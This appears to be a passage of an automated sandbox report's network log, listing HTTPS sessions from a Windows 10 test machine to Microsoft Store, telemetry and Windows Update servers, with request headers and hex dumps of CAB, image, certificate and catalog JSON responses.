Server: Microsoft-HTTPAPI/2.0
request-id: 3921d59b-1bdd-44d5-a747-781dbab8d9ab
Date: Wed, 08 Jun 2022 07:56:55 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

78 192.168.2.3 49806 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:56 UTC 9132 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165624Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:56 UTC 9133 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 4aa22a69-e3d4-4558-8b65-049e9dc1565f
Date: Wed, 08 Jun 2022 07:56:55 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

79 192.168.2.3 49807 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:56 UTC 9133 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-06-08 07:56:56 UTC 9134 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 7f05afbe-0d08-487b-8d84-f1ff66649012
MS-RequestId: 9771f56b-dad7-412f-a570-67e93a00a6f3
MS-CV: rRa3wc8fu0qvzNjV.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:56:55 GMT
Connection: close
Content-Length: 35877

2022-06-08 07:56:56 UTC 9134 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-06-08 07:56:56 UTC 9150 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-06-08 07:56:56 UTC 9166 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Session ID Source IP Source Port Destination IP
Destination
Port

Process

8 192.168.2.3 49712 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:53:54 UTC 83 OUT GET /image/apps.39478.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.8ad1b690-ff36-44fa-8afc-
0dc5bed1273c?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:54 UTC 84 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 37622
Content-Type: image/png
Last-Modified: Thu, 30 Sep 2021 03:30:15 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk4M0MyOUU1MTM1NDQ"
MS-CV: YXEQRcwIqUCuqc/O.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:54 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:54 UTC 84 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 02 00 00 00 f6 1f 19 22 00 00 92 
bd 49 44 41 54 78 01 ec 9a 81 6e db 38 10 44 09 20 52 72 69 3e e3 92 d8 76 74 77 ff ff 75 e7 68 db 07 25 43 10 cb 2e 49 
cb 85 81 01 31 5a 53 6e 52 e8 65 96 a4 d2 c3 f4 77 56 93 68 36 a9 e6 d7 ad 5f f5 f6 45 8f 5b 6f a2 6e 66 80 0e ab de 37 
3a 4c 4f ef ab 0e 95 3a ae c2 33 22 8a 36 d6 eb 2e fd af de 88 a2 53 f3 45 8f 87 e9 d1 cc fb 74 d1 cf e2 db 30 f1 c0 63 50 
da 50 87 31 e4 1c f8 a1 f9 6d 45 51 f0 13 35 41 ce 28 92 ca 6a 80 aa bb 8e 5b df 4e a7 e9 af 5c 05 23 e3 c6 9c 4c e8 52 
b7 2f b1 4f b3 d3 0a 77 71 2f f5 ef 5f a5 33 a9 c4 a5 b0 f5 95 20 ba 3e 54 d3 65 7c 6a 0f a4 c9 7c 02 3f c0 9b 31 25 59 e8 
99 ca bc 61 02 7a 7a fb 8c 2c 23 cd 08 24 c4 6c c4 
Data Ascii: PNGIHDR,,"IDATxn8D Rri>vtwuh%C.I1ZSnRewVh6_E[onf7:LO:3"6.SEt0cPP1mEQ5A(j[N\#LR/Owq/_3 >Te|j|?
1%Yazz,#$l

2022-06-08 07:53:54 UTC 100 IN Data Raw: 9f 09 6e 39 ec 8d 6c 41 04 8c 2d f5 1d b9 88 b9 d6 9f 16 88 54 87 ed 3b 62 fb 0e 8e cc 43 c9 e0 f6 4e 55 91 0f 
4c a7 48 31 8c 02 45 d8 ae a2 a8 ca 09 20 81 a5 90 0e 42 d9 4e 42 e9 8a 44 b3 b7 3a 7c f2 4a ab b1 56 d3 75 92 3c a2 
e3 ed 32 48 2e 01 a1 08 bd f8 30 f6 2c 10 c8 ea 59 09 36 17 a8 d3 ae fd d8 ed 2e 75 04 be 99 ad 61 83 26 fd 92 96 6e a7 
c8 41 f2 7f cd 83 d2 0f c4 89 6f d9 38 95 3d 15 42 f2 8e b2 94 6c a6 2d 8b a1 fb fc e6 2c df 52 b5 6f 64 87 c5 80 2b 37 ee 
7b 77 0b 43 bb f4 9f 8d 91 af fc d8 75 e0 2c 83 27 5b 99 38 4a 90 f4 19 b1 90 fe 84 2b eb df db d1 2f ef df 8d 1d 64 e4 94 
55 ec 20 69 b3 06 e2 5a c7 57 7e 2c 5c b5 07 07 84 a5 a5 23 93 49 17 03 28 5b f0 96 6f 90 c1 73 2e d7 a0 6b 81 6a 6d 
25 3f 16 e2 71 60 6d f4 55 35 8c 24 7a 21 bb aa 7b ee 
Data Ascii: n9lA-T;bCNULH1E BNBD:|JVu<2H.0,Y6.ua&nAo8=Bl-,Rod+7{wCu,'[8J+/dU iZW~,\#I([os.kjm%?q`mU5$z!{

2022-06-08 07:53:54 UTC 108 IN Data Raw: d9 34 35 ea 0e 87 2a 84 d9 dd e9 a7 04 66 d1 e4 c4 ef 3c 7b 29 7e be 40 37 81 53 39 67 f2 6a 9b a4 c9 9e f7 
3a ee 01 78 f8 14 43 02 3b f1 cb 0a 9b d5 16 3d 6d 1c ab 11 91 37 0f 89 dd b3 1d 30 13 fe 6c ac ed 08 e0 58 0f 7b f2 9b 
da c7 f6 fc ed 1f 48 83 e5 6f 37 d2 53 17 6b b9 4f f2 d3 c4 87 8b 19 44 e4 90 04 52 ef e4 da f1 4d ad 6d c9 bd 73 e9 3f ea 
11 9f 11 3c 6a 28 32 f8 05 0d d6 74 bf 70 b1 41 16 d9 a3 3a e7 74 23 0b 62 d3 38 26 f5 95 9d 25 ab c0 c0 0c 41 51 ea 2b 
9c ac 0f 9e 5a dc a6 71 b3 d4 2f 02 c6 71 7b ae 34 8e 21 a2 59 37 b7 a3 43 dc c4 b8 aa 2e 73 a3 07 36 8f 4e ff f8 e7 bf a7 
e6 59 54 4f 08 e2 26 29 18 44 53 4c e6 22 65 32 a2 b1 c4 fa b9 c7 1d 82 d2 79 3f 4a 56 3b 82 9b b0 c8 61 8c 62 bd a3 a0 
b5 c4 19 7d 0f 32 eb 7e de f7 ee 8e 39 a5 e4 9f 66 
Data Ascii: 45*f<{)~@7S9gj:xC;=m70lX{Ho7SkODRMms?<j(2tpA:t#b8&%AQ+Zq/q{4!Y7C.s6NYTO&)DSL"e2y?JV;ab}2
~9f

Session ID Source IP Source Port Destination IP
Destination
Port

Process

80 192.168.2.3 49808 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:56 UTC 9133 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&bSrc=i.t&time=20220608T165625Z&asid=57d951360cdd4c8fac5a233947b0e595&eid= HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:56 UTC 9134 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 4374de34-4e0a-405a-ba55-e71fd461bdf1
Date: Wed, 08 Jun 2022 07:56:56 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

81 192.168.2.3 49809 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:56 UTC 9170 OUT GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&c
id=128000000001392709&tid=700342084&reqasid=db438b8e50164ff5b8bd81712c333d20&region=US&lang=EN-US&oe
m=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid
=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&as
id=bb4e26aa6fae45b5bae03115aaadb587&time=20220608T165631Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:56 UTC 9170 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 93a5ecad-12c0-4abd-928c-dadf4c2be46d
Date: Wed, 08 Jun 2022 07:56:56 GMT
Connection: close

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

82 192.168.2.3 49810 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:57 UTC 9170 OUT GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&c
id=128000000001392709&tid=700342084&reqasid=db438b8e50164ff5b8bd81712c333d20&region=US&lang=EN-US&oe
m=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid
=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&as
id=bb4e26aa6fae45b5bae03115aaadb587&time=20220608T165632Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:57 UTC 9171 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: d5663f78-20b0-4111-bb7b-4db9b38d3666
Date: Wed, 08 Jun 2022 07:56:57 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

83 192.168.2.3 49811 20.54.89.106 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:57 UTC 9171 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-06-08 07:56:57 UTC 9171 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 700b905c-da1d-4f8c-935b-773566b2f116
MS-RequestId: d7497d9e-8975-40bb-a287-d0988f67d983
MS-CV: GPSm2MpTt0OlzzIn.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:56:56 GMT
Connection: close
Content-Length: 35877

2022-06-08 07:56:57 UTC 9172 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
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2022-06-08 07:56:57 UTC 9187 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-06-08 07:56:57 UTC 9203 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

84 192.168.2.3 49812 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:57 UTC 9207 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=db438b8e50164ff5b8bd81712c333d20&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=bb4e26aa6fae45b5bae03115aaadb587&time=20220608T165633Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:57 UTC 9208 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 4922429f-5ee9-4e7c-b569-fa8d9553e113
Date: Wed, 08 Jun 2022 07:56:57 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

85 192.168.2.3 49813 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:56:57 UTC 9208 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=1
28000000001392709&tid=700342084&reqasid=db438b8e50164ff5b8bd81712c333d20&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=bb4e26aa6fae45b5bae03115aaadb587&time=20220608T165634Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:56:57 UTC 9208 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 0ac647fb-5098-40a6-806e-c6ad1fbabee2
Date: Wed, 08 Jun 2022 07:56:56 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

86 192.168.2.3 49814 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:57 UTC 9208 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=SpotifyAB.SpotifyMusic_zpdnekdrzrea0&m
arket=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: X7VJJGZs40+xGkKP.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-06-08 07:56:57 UTC 9210 IN HTTP/1.1 200 OK
Connection: close
Date: Wed, 08 Jun 2022 07:56:57 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 89acda04-45ea-46fa-9c6e-8180aecf875f
MS-RequestId: ddb2bdca-0764-40b0-b7c5-e24c034707a7
MS-CV: X7VJJGZs40+xGkKP.0.2.4.1227126328.0.1.1227126330.0.0
X-Content-Type-Options: nosniff
MS-ServerId: b9576-dwk8g
Region: neu
Node: aks-bigcatrpns-32351330-vmss00001a
MS-DocumentVersions: 9NCBCSZSJRSB|4125

2022-06-08 07:56:57 UTC 9210 IN Data Raw: 36 66 33 62 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 43 42 43 53 5a 53 4a 52 53 42 22 5d 2c 22 48 
61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 36 2d 30 37 54 31 35 3a 31 39 3a 34 35 2e 31 35 37 39 38 35 
35 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 
22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 30 37 34 36 33 38 30 39 39 37 31 
34 36 34 30 32 32 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 31 65 64 37 36 30 22 2c 
Data Ascii: 6f3b{"BigIds":["9NCBCSZSJRSB"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-06-07T15
:19:45.1579855Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3007463809971464022","EISListingIdentifier
":null,"BackgroundColor":"#1ed760",

2022-06-08 07:56:57 UTC 9214 IN Data Raw: 63 2d 62 31 34 38 2d 62 32 63 65 38 31 36 34 39 34 38 30 2e 64 30 38 35 39 36 63 36 2d 65 36 62 36 2d 34 
38 62 33 2d 38 66 63 39 2d 39 35 39 36 38 35 63 30 34 66 30 31 22 2c 22 57 69 64 74 68 22 3a 33 31 30 7d 2c 7b 22 46 
69 6c 65 49 64 22 3a 22 33 30 31 31 36 30 37 34 32 32 37 33 33 36 38 33 39 33 30 22 2c 22 45 49 53 4c 69 73 74 69 6e 
67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 31 65 
64 37 36 30 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 32 
37 30 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 34 36 35 2c 22 49 
6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 
Data Ascii: c-b148-b2ce81649480.d08596c6-e6b6-48b3-8fc9-959685c04f01","Width":310},{"FileId":"3011607422733683
930","EISListingIdentifier":null,"BackgroundColor":"#1ed760","Caption":"","FileSizeInBytes":12705,"ForegroundColor":"","
Height":465,"ImagePositionInfo":"","I

2022-06-08 07:56:57 UTC 9218 IN Data Raw: 3a 22 23 31 65 64 37 36 30 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 
79 74 65 73 22 3a 33 35 30 36 38 33 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 
74 22 3a 37 36 38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 44 65 73 6b 74 6f 70 2f 32 22 2c 22 
49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 
